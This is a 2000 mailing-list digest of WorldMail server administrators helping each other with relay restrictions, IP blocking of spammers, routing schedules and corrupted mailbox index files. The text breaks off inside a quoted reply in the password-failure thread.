The worldmail list archive ending on 4 Dec 2000
Topics covered in this issue include:
1. Re: routing delay
"Gregory J. Hickel" <ghickel at crowderscoggins dot com>
Tue, 3 Oct 2000 10:53:49 -0500
2. Deny Access
"Sebastian Quek" <sebas at webmaster.com dot sg>
Wed, 4 Oct 2000 11:16:28 +0800
3. Re: routing delay
"Henry Avetisyan" <havetisyan at linkline dot com>
Tue, 3 Oct 2000 21:27:54 -0700
4. Re: Deny Access
"Henry Avetisyan" <havetisyan at linkline dot com>
Tue, 3 Oct 2000 23:38:31 -0700
5. SMTP deny access failed
"Sebastian Quek" <sebas at webmaster.com dot sg>
Wed, 4 Oct 2000 16:03:01 +0800
6. relay security question
"Chris Taylor (chris at ctay.net)" <taylor dot chris at gte dot net>
Wed, 4 Oct 2000 08:11:37 -0500
7. Re: relay security question
Daniel Rechsteiner <drechsteiner at goeast dot ch>
Wed, 04 Oct 2000 19:50:16 +0200
8. RE: relay security question
"Chris Taylor (chris at ctay.net)" <taylor dot chris at gte dot net>
Wed, 4 Oct 2000 13:00:44 -0500
9. relaying problem
"Rob Sevick" <rsevick at atrcorp dot com>
Tue, 10 Oct 2000 11:08:24 -0400
10. FW: relaying problem
"Chris Taylor (chris at ctay.net)" <taylor dot chris at gte dot net>
Tue, 10 Oct 2000 11:10:33 -0500
11. Relay setting?
Keith Lockliear <ws6ta at lvcablemodem dot com>
Tue, 10 Oct 2000 18:11:41 -0700
12. Non-existant host?
Keith Lockliear <ws6ta at lvcablemodem dot com>
Tue, 10 Oct 2000 18:35:30 -0700
13. RE: Relay setting?
"Ian Homewood" <ianh at stanley.co dot uk>
Wed, 11 Oct 2000 10:24:42 +0100
14. User accounts and password failure...
"Tom Kemp" <kempt at presearch dot com>
Thu, 12 Oct 2000 10:03:36 -0400
15. Netscape Clients with Worldmail LDAP server
Richard Brown <rxbrown at bigfoot dot com>
Thu, 12 Oct 2000 09:10:25 -0700
16. RE: User accounts and password failure...
"Tom Kemp" <kempt at presearch dot com>
Thu, 12 Oct 2000 16:12:28 -0400
17. RE: User accounts and password failure...
"Rob Sevick" <rsevick at atrcorp dot com>
Thu, 12 Oct 2000 16:45:43 -0400
18. RE: User accounts and password failure...
"Tom Kemp" <kempt at presearch dot com>
Thu, 12 Oct 2000 16:53:45 -0400
19. Re: User accounts and password failure...
"Henry Avetisyan" <havetisyan at linkline dot com>
Thu, 12 Oct 2000 22:20:19 -0700
20. RE: User accounts and password failure...
"Tom Kemp" <kempt at presearch dot com>
Fri, 13 Oct 2000 09:12:00 -0400
21. News Email Beta Run1.01
"Ian Homewood" <ianh at stanley.co dot uk>
Mon, 30 Oct 2000 10:28:57 -0000
22. Thanks for the Virus
Greg Bullough <gwb at outofchaos dot com>
Mon, 30 Oct 2000 08:20:46 -0500
23. Re: Thanks for the Virus
Garry Wiegand <squeezix at ithaca dot com>
Mon, 30 Oct 2000 12:40:09 -0800
24. RE: Thanks for the Virus
Justin Parry-Okeden <jpo at sandwichdirect dot com>
Tue, 31 Oct 2000 09:15:29 +1100
25. Re: Thanks for the Virus
"Darren Farmer" <farmerd at adspower dot com>
Mon, 30 Oct 2000 16:30:29 -0600
26. Don't open 'News mail beta' email
"Ian Homewood" <ianh at stanley.co dot uk>
Mon, 30 Oct 2000 10:38:49 -0000
27. Worldmail and W2K Server
Richard Brown <rxbrown at bigfoot dot com>
Mon, 30 Oct 2000 19:02:01 -0800
28. Migration from Netscape server 3.01 to Worldmail
Mike <mike at barlow dot net>
Thu, 02 Nov 2000 10:42:59 +0000
29. Dialup users can't connect to SMTP
"Chris Lander" <chris at altuscorp dot com>
Fri, 3 Nov 2000 10:27:35 -0800
30. Reply to feature in Distribution List
Rich Turiel <rturiel at easter-seals dot org>
Wed, 8 Nov 2000 08:50:51 -0600
31. RE: User accounts and password failure...
"Robert Mc Daniel" <mcdanielr at ecfood dot com>
Wed, 8 Nov 2000 16:12:28 -0800
32. Worldmail as mail relay
"Robert Mc Daniel" <mcdanielr at ecfood dot com>
Wed, 8 Nov 2000 16:14:40 -0800
33. Technical Support
Leonard Van Gelder <ghent at endorproductions dot com>
Wed, 22 Nov 2000 13:02:09 -0500
34. RE: Technical Support
Leonard Van Gelder <ghent at endorproductions dot com>
Wed, 22 Nov 2000 13:25:27 -0500
35. RE: Technical Support
Leonard Van Gelder <ghent at endorproductions dot com>
Wed, 22 Nov 2000 14:43:21 -0500
36. RE: Technical Support
"Paul Webster" <paul at spidersweb.freeserve.co dot uk>
Wed, 22 Nov 2000 19:52:48 -0000
37. Worldmail as mail relay
"Robert Mc Daniel" <mcdanielr at ecfood dot com>
Wed, 22 Nov 2000 12:44:53 -0800
38. RE: Technical Support
"Sascha Picchiantano" <sp at 3cnet dot de>
Thu, 23 Nov 2000 13:31:33 +0100
39. RE: Technical Support
Leonard Van Gelder <ghent at endorproductions dot com>
Thu, 23 Nov 2000 12:39:34 -0500
40. Help!
"Sebastian Quek" <sebas at webmaster.com dot sg>
Sat, 25 Nov 2000 21:36:24 +0800
41. RE: Help!
"Paul Webster" <paul at spidersweb.freeserve.co dot uk>
Sun, 26 Nov 2000 11:47:38 -0000
42. Re: Technical Support
Garry Wiegand <squeezix at ithaca dot com>
Mon, 27 Nov 2000 20:49:31 -0800
43. RE: Technical Support
"Sascha Picchiantano" <sp at 3cnet dot de>
Tue, 28 Nov 2000 10:43:50 +0100
44. Re: Technical Support
Greg Bullough <gwb at outofchaos dot com>
Tue, 28 Nov 2000 08:40:31 -0500
45. Licenses
Leonard Van Gelder <ghent at endorproductions dot com>
Wed, 29 Nov 2000 17:00:55 -0500
46. Re: Licenses
Greg Bullough <gwb at outofchaos dot com>
Wed, 29 Nov 2000 22:47:53 -0500
47. has anybody seen the following?
Mark Fortune <mfortune at ce8.uscourts dot gov>
Fri, 01 Dec 2000 15:34:47 -0600
48. has anybody seen the following?
Mark Fortune <mfortune at ce8.uscourts dot gov>
Mon, 04 Dec 2000 07:27:28 -0600
49.
Mark Fortune <mfortune at ce8.uscourts dot gov>
Mon, 04 Dec 2000 08:30:06 -0600
50. RE:
"Andrew McClymont" <andrewmcclymont at d-link dot net>
Mon, 4 Dec 2000 11:59:30 -0300
From: "Gregory J. Hickel" <ghickel at crowderscoggins dot com>
Subject: Re: routing delay
Date: Tue, 3 Oct 2000 10:53:49 -0500
Try taking a look at the configurations for these specific users. If you
right click on the user in the Management Center and then go to Configure, I
believe there is a setting there that allows for time restrictions on the
use of the accounts. This might be what's causing your problem.
Greg Hickel
ghickel at crowderscoggins dot com
----- Original Message -----
From: "marti jo webb" <marti at ramint dot com>
To: "Subscribers of WorldMail" <worldmail at lists.pensive dot org>
Sent: Tuesday, October 03, 2000 10:14 AM
Subject: routing delay
> I have an odd problem that maybe someone out there knows how to fix. We
> have 4 road warriors, 3 out of the country and 1 back east. On Saturdays,
> email to them is delayed and never sent. On week days, we have no problem
> sending. I have changed the timeouts for routing but that doesn't seem to
> work. I am a little suspicious that it happens only on the weekend,
however
> my system is up 24/7 because of the time changes for those on the road.
It
> has to be a setting on my end, but I where?
>
> Any ideas?
>
> Marti Jo Webb
> RAM International
> (760) 431-3610
> mailto:marti at ramint dot com
>
>
From: "Sebastian Quek" <sebas at webmaster.com dot sg>
Subject: Deny Access
Date: Wed, 4 Oct 2000 11:16:28 +0800
Dear everyone,
i have deny access to this IP address, 63.52.62.30 and subnetmask
255.255.255.0
I reboot the system so that the Worldmail services can restart to take
effect.
After about 1 day... the spammer is back. His IP address is this..
63.52.62.67
I thought it is suppose to be banned? Can anyone help or the security for
Worldmail is
crap. It saddens me to have this particular spammer coming back, it shows
how usless
my mail server is. Please help me fight this spammer.
regards,
Sebastian
From: "Henry Avetisyan" <havetisyan at linkline dot com>
Subject: Re: routing delay
Date: Tue, 3 Oct 2000 21:27:54 -0700
If you are using the special routing schedule for custom domains then the
wordmail server doesn't recognize Saturday as a valid day, so it doesn't
process any messages on Saturdays (it just needs a day off :).
But I surprised that you say that the messages are never sent. They should
be processed and delivered on Sunday.
Henry
----- Original Message -----
From: "marti jo webb" <marti at ramint dot com>
To: "Subscribers of WorldMail" <worldmail at lists.pensive dot org>
Sent: Tuesday, October 03, 2000 8:14 AM
Subject: routing delay
> I have an odd problem that maybe someone out there knows how to fix. We
> have 4 road warriors, 3 out of the country and 1 back east. On Saturdays,
> email to them is delayed and never sent. On week days, we have no problem
> sending. I have changed the timeouts for routing but that doesn't seem to
> work. I am a little suspicious that it happens only on the weekend,
however
> my system is up 24/7 because of the time changes for those on the road.
It
> has to be a setting on my end, but I where?
>
> Any ideas?
>
> Marti Jo Webb
> RAM International
> (760) 431-3610
> mailto:marti at ramint dot com
>
>
>
From: "Henry Avetisyan" <havetisyan at linkline dot com>
Subject: Re: Deny Access
Date: Tue, 3 Oct 2000 23:38:31 -0700
No, having IP address of 63.52.62.30 and a netmask of 255.255.255.0 will not
block anyone. If you want to block a specific IP address, then you would
have 63.52.62.67 with netmask of 255.255.255.255. If you want to block
everyone in the 63.52.62.x then you would have 63.52.62.0 with netmask of
255.255.255.0.
Henry
----- Original Message -----
From: "Sebastian Quek" <sebas at webmaster.com dot sg>
To: "Subscribers of WorldMail" <worldmail at lists.pensive dot org>
Sent: Tuesday, October 03, 2000 8:16 PM
Subject: Deny Access
> Dear everyone,
>
> i have deny access to this IP address, 63.52.62.30 and subnetmask
> 255.255.255.0
> I reboot the system so that the Worldmail services can restart to take
> effect.
>
> After about 1 day... the spammer is back. His IP address is this..
> 63.52.62.67
> I thought it is suppose to be banned? Can anyone help or the security for
> Worldmail is
> crap. It saddens me to have this particular spammer coming back, it shows
> how usless
> my mail server is. Please help me fight this spammer.
>
> regards,
>
> Sebastian
>
>
From: "Sebastian Quek" <sebas at webmaster.com dot sg>
Subject: SMTP deny access failed
Date: Wed, 4 Oct 2000 16:03:01 +0800
Thank you for replying. I went to try and somehow i cant sent thru my server
after using that method. I insert the IP under the SMTP security window,
click ok, stop Worldmail service and reboot server.
After that i sent a test mail thru my server and i cant sent mail even
though my IP is not the IP i inserted in the SMTP deny access window. Is
there anything i have not done?
Please help.. thanks.
regards,
Sebastian Quek
No, having IP address of 63.52.62.30 and a netmask of 255.255.255.0 will not
block anyone. If you want to block a specific IP address, then you would
have 63.52.62.67 with netmask of 255.255.255.255. If you want to block
everyone in the 63.52.62.x then you would have 63.52.62.0 with netmask of
255.255.255.0.
Henry
----- Original Message -----
From: "Sebastian Quek" <sebas at webmaster.com dot sg>
To: "Subscribers of WorldMail" <worldmail at lists.pensive dot org>
Sent: Tuesday, October 03, 2000 8:16 PM
Subject: Deny Access
> Dear everyone,
>
> i have deny access to this IP address, 63.52.62.30 and subnetmask
> 255.255.255.0
> I reboot the system so that the Worldmail services can restart to take
> effect.
>
> After about 1 day... the spammer is back. His IP address is this..
> 63.52.62.67
> I thought it is suppose to be banned? Can anyone help or the security for
> Worldmail is
> crap. It saddens me to have this particular spammer coming back, it shows
> how usless
> my mail server is. Please help me fight this spammer.
>
> regards,
>
> Sebastian
>
>
From: "Chris Taylor (chris at ctay.net)" <taylor dot chris at gte dot net>
Subject: relay security question
Date: Wed, 4 Oct 2000 08:11:37 -0500
I am a small web hosting company running Eudora's Worldmail server. I have
one customer who uses Microsoft Exchange Server and the ETERN protocol to
dial up and download their messages from the WorldMail queue at periodic
intervals. Recently I set up relay restrictions and now their messages will
not get to the queue on my server. I have tried to set up a custom domain
but I'm not sure what settings I need to configure. Has anyone done this?
Any advise would be greatly appreciated.
Chris Taylor
Date: Wed, 04 Oct 2000 19:50:16 +0200
Subject: Re: relay security question
From: Daniel Rechsteiner <drechsteiner at goeast dot ch>
> not get to the queue on my server. I have tried to set up a custom domain
> but I'm not sure what settings I need to configure. Has anyone done this?
In the settings for the custom domain, under "outgoing mail settings" you
need to check "Bypass security contraints when relaying mail to this
domain".
Daniel
From: "Chris Taylor (chris at ctay.net)" <taylor dot chris at gte dot net>
Subject: RE: relay security question
Date: Wed, 4 Oct 2000 13:00:44 -0500
That's simple. I tried this earlier and then tested without good results.
Then I thought that maybe I should stop and restart the WorldMail service
and that seems to have activated the change!
Thanks,
Chris
-----Original Message-----
From: Daniel Rechsteiner [mailto:drechsteiner at goeast dot ch]
Sent: Wednesday, October 04, 2000 12:50 PM
To: Chris Taylor (chris at ctay dot net)
Cc: worldmail at lists.pensive dot org
Subject: Re: relay security question
> not get to the queue on my server. I have tried to set up a custom domain
> but I'm not sure what settings I need to configure. Has anyone done this?
In the settings for the custom domain, under "outgoing mail settings" you
need to check "Bypass security contraints when relaying mail to this
domain".
Daniel
From: "Rob Sevick" <rsevick at atrcorp dot com>
Subject: relaying problem
Date: Tue, 10 Oct 2000 11:08:24 -0400
Hello -
I just restricted my email server to only allow internal IP's to relay
messages (should have been done long ago) BUT, here is my problem. I have
many users that are on permanent assignment offsite. At their site they
have an email account. Instead of creating and using an Worldmail account
in my domain for them, I setup an alias that just forwards mail to them.
When sending mail to them, internally, there is no problem but if anyone on
the outside tries to send to them using this alias, it gets bounced back
saying "No relaying allowed".
Is there a way to fix this without removing the relay restriction and
without creating worldmail mailstore accounts for them? I have a large
amount of users that are offsite and if I had to create accounts for them, I
would have to purchase many more licenses!
Thanks in advance for any and all help.
Rob Sevick
-----------------------------------------------
Rob Sevick
Advanced Technology and Research, Corp.
15210 Dino Drive
Burtonsville, MD 20866
301-989-2499
410-792-7500
301-989-8000 Fax
From: "Chris Taylor (chris at ctay.net)" <taylor dot chris at gte dot net>
Subject: FW: relaying problem
Date: Tue, 10 Oct 2000 11:10:33 -0500
Whoops. Here's my reply to the mailing list.
Chris
-----Original Message-----
From: Chris Taylor (chris at ctay.net) [mailto:taylor dot chris at gte dot net]
Sent: Tuesday, October 10, 2000 11:10 AM
To: Rob Sevick
Subject: RE: relaying problem
There is a document in the knowledge base that says that when you enable
relay restrictions that your alias' will no longer work. The solution is
the use distribution lists instead.
Chris
-----Original Message-----
From: Rob Sevick [mailto:rsevick at atrcorp dot com]
Sent: Tuesday, October 10, 2000 10:08 AM
To: Subscribers of WorldMail
Subject: relaying problem
Hello -
I just restricted my email server to only allow internal IP's to relay
messages (should have been done long ago) BUT, here is my problem. I have
many users that are on permanent assignment offsite. At their site they
have an email account. Instead of creating and using an Worldmail account
in my domain for them, I setup an alias that just forwards mail to them.
When sending mail to them, internally, there is no problem but if anyone on
the outside tries to send to them using this alias, it gets bounced back
saying "No relaying allowed".
Is there a way to fix this without removing the relay restriction and
without creating worldmail mailstore accounts for them? I have a large
amount of users that are offsite and if I had to create accounts for them, I
would have to purchase many more licenses!
Thanks in advance for any and all help.
Rob Sevick
-----------------------------------------------
Rob Sevick
Advanced Technology and Research, Corp.
15210 Dino Drive
Burtonsville, MD 20866
301-989-2499
410-792-7500
301-989-8000 Fax
Date: Tue, 10 Oct 2000 18:11:41 -0700
From: Keith Lockliear <ws6ta at lvcablemodem dot com>
Subject: Relay setting?
Okay, the help isn't very informative. I want to stop the spammers from
using my server to relay. I've seen a lot of traffic recently because of
this and actually had my ISP turn me off today because of it.
I do want to allow some IP's though, but can't figure out how to allow a
Class B block. For instance, I want to allow anything in the 24.234.x.x
block. How do I specify that?
Thanks.
Keith
Date: Tue, 10 Oct 2000 18:35:30 -0700
From: Keith Lockliear <ws6ta at lvcablemodem dot com>
Subject: Non-existant host?
Here's an error sent to me that comes back when someone tries to e-mail my
domain. This is the only person I have seen this from, but what might be
the cause?
all relevant MX records point to non-existent hosts:
it appears that the DNS operator for this domain has installed an invalid
MX record with an IP address instead of a domain name on the right hand side
Keith
From: "Ian Homewood" <ianh at stanley.co dot uk>
Subject: RE: Relay setting?
Date: Wed, 11 Oct 2000 10:24:42 +0100
ip 24.234.0.0, subnet mask 255.255.0.0
If you want to be _really_ secure, put this into the smtp server
restrictions, not just relay.
Regards
Ian
-----Original Message-----
From: Keith Lockliear [mailto:ws6ta at lvcablemodem dot com]
Sent: 11 October 2000 02:12
To: Subscribers of WorldMail
Subject: Relay setting?
Okay, the help isn't very informative. I want to stop the spammers from
using my server to relay. I've seen a lot of traffic recently because of
this and actually had my ISP turn me off today because of it.
I do want to allow some IP's though, but can't figure out how to allow a
Class B block. For instance, I want to allow anything in the 24.234.x.x
block. How do I specify that?
Thanks.
Keith
From: "Tom Kemp" <kempt at presearch dot com>
Subject: User accounts and password failure...
Date: Thu, 12 Oct 2000 10:03:36 -0400
I have been using Worldmail Server v2.0 for a couple of years now. I have
it here at my office, and I have a customer using it. I've noticed from
time to time it seems to damage it's own password/User Accounts files. With
their Outlook client software set to remember their passwords, every once in
awhile it will ask them for a password anyway. If you type the correct
password, it still won't take it.
Sometimes I will setup the users account on my machine to test it, and the
result is the same. Sometimes I can fix it by going to the console or going
into group management over the internet and changing their password by
re-entering the same password. Then all is well. Othertimes I end up
deleting the account and recreating it, then all is well. Any ideas on the
cause and what can be done to avoid it?
Dennis T. Kemp II (Tom Kemp)
MCSE/Program Manager
Control Concepts, Inc.
703-876-6418
kempt at presearch dot com
Date: Thu, 12 Oct 2000 09:10:25 -0700
From: Richard Brown <rxbrown at bigfoot dot com>
Subject: Netscape Clients with Worldmail LDAP server
I am a giver, so here goes:
Since not all environments are homogeneous from a client perspective, I
have the following config information to set netscape clients up with
worldmail LDAP server.
add the following line to your profiles prefs.js file (prefs.js is the
javascript preferences file for navigator usually found under program
files/netscape/users/username):
user_pref("ldap_2.servers.testcom_1.attributes.mail",
"rfc822mailbox:rfc822mailbox");
replace the testcom_1 with your LDAP directory name.
save the file and start navigator. (make sure you exit navigator before
changing the prefs.js or it will be overwritten!).
do a communicator-address book-listing of your directory to verify the
changes work.
this and many other COOL ways to customize navigator can be found at:
http://developer.netscape.com:80/docs/manuals/communicator/ldapcust45.html
From: "Tom Kemp" <kempt at presearch dot com>
Subject: RE: User accounts and password failure...
Date: Thu, 12 Oct 2000 16:12:28 -0400
Well, both servers that I care for are running less then 125 email accounts.
The server is in both cases a Domain Controller also. In the case of ours,
it is the PDC in an NT4 domain. It also serves WINS. In the case of my
customer, it is also a PDC. It provides WINS, DHCP and File Services.
Dennis T. Kemp II (Tom Kemp)
MCSE/Program Manager
Control Concepts, Inc.
703-876-6418
kempt at presearch dot com
> -----Original Message-----
> From: Seymour Joseph [mailto:sjoseph at bciu.k12.pa dot us]
> Sent: Thursday, October 12, 2000 2:41 PM
> To: Tom Kemp
> Subject: Re: User accounts and password failure...
>
>
> Tom,
>
> We have been running for 1.5 years with approx 1,300 users and have
> never seen this problem.
>
> Seymour
>
>
> Tom Kemp wrote:
> >
> > I have been using Worldmail Server v2.0 for a couple of years
> now. I have
> > it here at my office, and I have a customer using it. I've noticed from
> > time to time it seems to damage it's own password/User Accounts
> files. With
> > their Outlook client software set to remember their passwords,
> every once in
> > awhile it will ask them for a password anyway. If you type the correct
> > password, it still won't take it.
> >
> > Sometimes I will setup the users account on my machine to test
> it, and the
> > result is the same. Sometimes I can fix it by going to the
> console or going
> > into group management over the internet and changing their password by
> > re-entering the same password. Then all is well. Othertimes I end up
> > deleting the account and recreating it, then all is well. Any
> ideas on the
> > cause and what can be done to avoid it?
> >
> > Dennis T. Kemp II (Tom Kemp)
> > MCSE/Program Manager
> > Control Concepts, Inc.
> > 703-876-6418
> > kempt at presearch dot com
>
> --
> Seymour Joseph
> Director, Technology Services
> Bucks County Intermediate Unit #22
> 705 Shady Retreat Road
> Doylestown, PA 18901
>
> Phone (800)-770-4822 x1110
> Fax: 215-489-7874
> Email: sjoseph at bciu.k12.pa dot us
> Web (BCIU): http://www.bciu.k12.pa.us
> Web (Seymour): http://www.bciu.k12.pa.us/users/sjoseph/Welcome.htm
>
From: "Rob Sevick" <rsevick at atrcorp dot com>
Subject: RE: User accounts and password failure...
Date: Thu, 12 Oct 2000 16:45:43 -0400
Tom -
I have/had similar problems with Worldmail. Every now and then, random
users with different email clients, inform me of this problem. I'd say
probably, once a month; we have 100 users.
I do not have an ultimate solution but I do have a manual fix. Instead of
redoing the password or removing & adding the account back, I go into the
email account SMTP mailboxs directory that is having problems and delete the
mailbox.dat file. It recreates itself when new mail arrives. I assume that
file is an index file of some sort that keeps track of all mail and user
settings for that account. Although, I am not certain (you may want to
double check,first). It does though, resolve that problem and I have seen
no adverse side effects from it for 3+ years.
Note: we do not store our mail on the server, when checked by my users, it
is downloaded to their workstations and removed from the server.
Good luck,
Rob
-----Original Message-----
From: Tom Kemp [mailto:kempt at presearch dot com]
Sent: Thursday, October 12, 2000 4:12 PM
To: Seymour Joseph
Cc: 'Subscribers of WorldMail'
Subject: RE: User accounts and password failure...
Well, both servers that I care for are running less then 125 email accounts.
The server is in both cases a Domain Controller also. In the case of ours,
it is the PDC in an NT4 domain. It also serves WINS. In the case of my
customer, it is also a PDC. It provides WINS, DHCP and File Services.
Dennis T. Kemp II (Tom Kemp)
MCSE/Program Manager
Control Concepts, Inc.
703-876-6418
kempt at presearch dot com
> -----Original Message-----
> From: Seymour Joseph [mailto:sjoseph at bciu.k12.pa dot us]
> Sent: Thursday, October 12, 2000 2:41 PM
> To: Tom Kemp
> Subject: Re: User accounts and password failure...
>
>
> Tom,
>
> We have been running for 1.5 years with approx 1,300 users and have
> never seen this problem.
>
> Seymour
>
>
> Tom Kemp wrote:
> >
> > I have been using Worldmail Server v2.0 for a couple of years
> now. I have
> > it here at my office, and I have a customer using it. I've noticed from
> > time to time it seems to damage it's own password/User Accounts
> files. With
> > their Outlook client software set to remember their passwords,
> every once in
> > awhile it will ask them for a password anyway. If you type the correct
> > password, it still won't take it.
> >
> > Sometimes I will setup the users account on my machine to test
> it, and the
> > result is the same. Sometimes I can fix it by going to the
> console or going
> > into group management over the internet and changing their password by
> > re-entering the same password. Then all is well. Othertimes I end up
> > deleting the account and recreating it, then all is well. Any
> ideas on the
> > cause and what can be done to avoid it?
> >
> > Dennis T. Kemp II (Tom Kemp)
> > MCSE/Program Manager
> > Control Concepts, Inc.
> > 703-876-6418
> > kempt at presearch dot com
>
> --
> Seymour Joseph
> Director, Technology Services
> Bucks County Intermediate Unit #22
> 705 Shady Retreat Road
> Doylestown, PA 18901
>
> Phone (800)-770-4822 x1110
> Fax: 215-489-7874
> Email: sjoseph at bciu.k12.pa dot us
> Web (BCIU): http://www.bciu.k12.pa.us
> Web (Seymour): http://www.bciu.k12.pa.us/users/sjoseph/Welcome.htm
>
From: "Tom Kemp" <kempt at presearch dot com>
Subject: RE: User accounts and password failure...
Date: Thu, 12 Oct 2000 16:53:45 -0400
We have similar setups, then. Don't leave messages on ther server. I
believe you have the right idea about that file. My curiousity is as to
whether or not it would cause messages that haven't been downloaded to the
users yet to be missed....
Dennis T. Kemp II (Tom Kemp)
MCSE/Program Manager
Control Concepts, Inc.
703-876-6418
kempt at presearch dot com
> -----Original Message-----
> From: Rob Sevick [mailto:rsevick at atrcorp dot com]
> Sent: Thursday, October 12, 2000 4:46 PM
> To: Subscribers of WorldMail
> Subject: RE: User accounts and password failure...
>
>
> Tom -
>
> I have/had similar problems with Worldmail. Every now and then, random
> users with different email clients, inform me of this problem. I'd say
> probably, once a month; we have 100 users.
>
> I do not have an ultimate solution but I do have a manual fix.
> Instead of
> redoing the password or removing & adding the account back, I go into the
> email account SMTP mailboxs directory that is having problems and
> delete the
> mailbox.dat file. It recreates itself when new mail arrives. I
> assume that
> file is an index file of some sort that keeps track of all mail and user
> settings for that account. Although, I am not certain (you may want to
> double check,first). It does though, resolve that problem and I have seen
> no adverse side effects from it for 3+ years.
> Note: we do not store our mail on the server, when checked by
> my users, it
> is downloaded to their workstations and removed from the server.
>
> Good luck,
>
> Rob
>
> -----Original Message-----
> From: Tom Kemp [mailto:kempt at presearch dot com]
> Sent: Thursday, October 12, 2000 4:12 PM
> To: Seymour Joseph
> Cc: 'Subscribers of WorldMail'
> Subject: RE: User accounts and password failure...
>
>
> Well, both servers that I care for are running less then 125
> email accounts.
> The server is in both cases a Domain Controller also. In the
> case of ours,
> it is the PDC in an NT4 domain. It also serves WINS. In the case of my
> customer, it is also a PDC. It provides WINS, DHCP and File Services.
>
> Dennis T. Kemp II (Tom Kemp)
> MCSE/Program Manager
> Control Concepts, Inc.
> 703-876-6418
> kempt at presearch dot com
>
> > -----Original Message-----
> > From: Seymour Joseph [mailto:sjoseph at bciu.k12.pa dot us]
> > Sent: Thursday, October 12, 2000 2:41 PM
> > To: Tom Kemp
> > Subject: Re: User accounts and password failure...
> >
> >
> > Tom,
> >
> > We have been running for 1.5 years with approx 1,300 users and have
> > never seen this problem.
> >
> > Seymour
> >
> >
> > Tom Kemp wrote:
> > >
> > > I have been using Worldmail Server v2.0 for a couple of years
> > now. I have
> > > it here at my office, and I have a customer using it. I've
> noticed from
> > > time to time it seems to damage it's own password/User Accounts
> > files. With
> > > their Outlook client software set to remember their passwords,
> > every once in
> > > awhile it will ask them for a password anyway. If you type
> the correct
> > > password, it still won't take it.
> > >
> > > Sometimes I will setup the users account on my machine to test
> > it, and the
> > > result is the same. Sometimes I can fix it by going to the
> > console or going
> > > into group management over the internet and changing their password by
> > > re-entering the same password. Then all is well. Othertimes I end up
> > > deleting the account and recreating it, then all is well. Any
> > ideas on the
> > > cause and what can be done to avoid it?
> > >
> > > Dennis T. Kemp II (Tom Kemp)
> > > MCSE/Program Manager
> > > Control Concepts, Inc.
> > > 703-876-6418
> > > kempt at presearch dot com
> >
> > --
> > Seymour Joseph
> > Director, Technology Services
> > Bucks County Intermediate Unit #22
> > 705 Shady Retreat Road
> > Doylestown, PA 18901
> >
> > Phone (800)-770-4822 x1110
> > Fax: 215-489-7874
> > Email: sjoseph at bciu.k12.pa dot us
> > Web (BCIU): http://www.bciu.k12.pa.us
> > Web (Seymour): http://www.bciu.k12.pa.us/users/sjoseph/Welcome.htm
> >
>
From: "Henry Avetisyan" <havetisyan at linkline dot com>
Subject: Re: User accounts and password failure...
Date: Thu, 12 Oct 2000 22:20:19 -0700
The file doesn't contain any user settings. It's the index file for your
mailbox. Deleting the file will not cause any messages to be missed. For
pop3 when the messages are not left on the server deleting this file will
have not much effect, however, if you are running imap4, then you should be
really careful about this file. It contains the all the folder hierarchy,
plus your message flags (seen, answered, deleted, etc). If you delete the
file, then all the messages will appear as new, with no folders being
present other than inbox.
Henry
----- Original Message -----
From: "Tom Kemp" <kempt at presearch dot com>
To: "Rob Sevick" <rsevick at atrcorp dot com>
Cc: "'Subscribers of WorldMail'" <worldmail at lists.pensive dot org>
Sent: Thursday, October 12, 2000 1:53 PM
Subject: RE: User accounts and password failure...
> We have similar setups, then. Don't leave messages on ther server. I
> believe you have the right idea about that file. My curiousity is as to
> whether or not it would cause messages that haven't been downloaded to the
> users yet to be missed....
>
> Dennis T. Kemp II (Tom Kemp)
> MCSE/Program Manager
> Control Concepts, Inc.
> 703-876-6418
> kempt at presearch dot com
>
> > -----Original Message-----
> > From: Rob Sevick [mailto:rsevick at atrcorp dot com]
> > Sent: Thursday, October 12, 2000 4:46 PM
> > To: Subscribers of WorldMail
> > Subject: RE: User accounts and password failure...
> >
> >
> > Tom -
> >
> > I have/had similar problems with Worldmail. Every now and then,
random
> > users with different email clients, inform me of this problem. I'd say
> > probably, once a month; we have 100 users.
> >
> > I do not have an ultimate solution but I do have a manual fix.
> > Instead of
> > redoing the password or removing & adding the account back, I go into
the
> > email account SMTP mailboxs directory that is having problems and
> > delete the
> > mailbox.dat file. It recreates itself when new mail arrives. I
> > assume that
> > file is an index file of some sort that keeps track of all mail and user
> > settings for that account. Although, I am not certain (you may want to
> > double check,first). It does though, resolve that problem and I have
seen
> > no adverse side effects from it for 3+ years.
> > Note: we do not store our mail on the server, when checked by
> > my users, it
> > is downloaded to their workstations and removed from the server.
> >
> > Good luck,
> >
> > Rob
> >
> > -----Original Message-----
> > From: Tom Kemp [mailto:kempt at presearch dot com]
> > Sent: Thursday, October 12, 2000 4:12 PM
> > To: Seymour Joseph
> > Cc: 'Subscribers of WorldMail'
> > Subject: RE: User accounts and password failure...
> >
> >
> > Well, both servers that I care for are running less then 125
> > email accounts.
> > The server is in both cases a Domain Controller also. In the
> > case of ours,
> > it is the PDC in an NT4 domain. It also serves WINS. In the case of my
> > customer, it is also a PDC. It provides WINS, DHCP and File Services.
> >
> > Dennis T. Kemp II (Tom Kemp)
> > MCSE/Program Manager
> > Control Concepts, Inc.
> > 703-876-6418
> > kempt at presearch dot com
> >
> > > -----Original Message-----
> > > From: Seymour Joseph [mailto:sjoseph at bciu.k12.pa dot us]
> > > Sent: Thursday, October 12, 2000 2:41 PM
> > > To: Tom Kemp
> > > Subject: Re: User accounts and password failure...
> > >
> > >
> > > Tom,
> > >
> > > We have been running for 1.5 years with approx 1,300 users and have
> > > never seen this problem.
> > >
> > > Seymour
> > >
> > >
> > > Tom Kemp wrote:
> > > >
> > > > I have been using Worldmail Server v2.0 for a couple of years
> > > now. I have
> > > > it here at my office, and I have a customer using it. I've
> > noticed from
> > > > time to time it seems to damage it's own password/User Accounts
> > > files. With
> > > > their Outlook client software set to remember their passwords,
> > > every once in
> > > > awhile it will ask them for a password anyway. If you type
> > the correct
> > > > password, it still won't take it.
> > > >
> > > > Sometimes I will setup the users account on my machine to test
> > > it, and the
> > > > result is the same. Sometimes I can fix it by going to the
> > > console or going
> > > > into group management over the internet and changing their password
by
> > > > re-entering the same password. Then all is well. Othertimes I end
up
> > > > deleting the account and recreating it, then all is well. Any
> > > ideas on the
> > > > cause and what can be done to avoid it?
> > > >
> > > > Dennis T. Kemp II (Tom Kemp)
> > > > MCSE/Program Manager
> > > > Control Concepts, Inc.
> > > > 703-876-6418
> > > > kempt at presearch dot com
> > >
> > > --
> > > Seymour Joseph
> > > Director, Technology Services
> > > Bucks County Intermediate Unit #22
> > > 705 Shady Retreat Road
> > > Doylestown, PA 18901
> > >
